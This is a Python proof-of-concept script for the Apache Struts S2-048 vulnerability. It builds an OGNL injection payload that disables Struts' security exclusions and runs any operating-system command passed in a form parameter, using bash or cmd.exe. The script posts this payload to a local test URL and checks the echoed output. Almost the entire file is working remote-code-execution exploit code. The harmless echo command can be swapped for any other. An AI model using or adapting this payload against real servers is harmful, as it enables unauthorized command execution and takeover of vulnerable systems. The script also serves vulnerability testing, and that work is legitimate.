# coding: utf-8

import httplib         # use HTTP/1.0 to hack requests.exceptions.ChunkedEncodingError  https://stackoverflow.com/questions/14149100/incompleteread-using-httplib/20645845#20645845
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'

import requests


def poc(url):

    payload = "%{"
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd=#parameters.cmd[0])."
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))."
    payload += "(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())"
    payload += "}"


    # print payload

    data = {
        "name": payload,
        "cmd": "echo Affected by S2-048",
        "age": 1,
        "__checkbox_bustedBefore": "true",
        "description": "test"
    }

    PROXIES = {'http':'http://127.0.0.1:8888'}

    res = requests.post(url, data=data,proxies=PROXIES)

    # print res.text
    if 'Affected by S2-048' == res.text.strip():
        print('[!] {} is Affected by S2-048!'.format(url))
        return True
    return False


if __name__ == '__main__':

    url = "http://127.0.0.1:8080/S2-048/integration/saveGangster.action"
    poc(url)
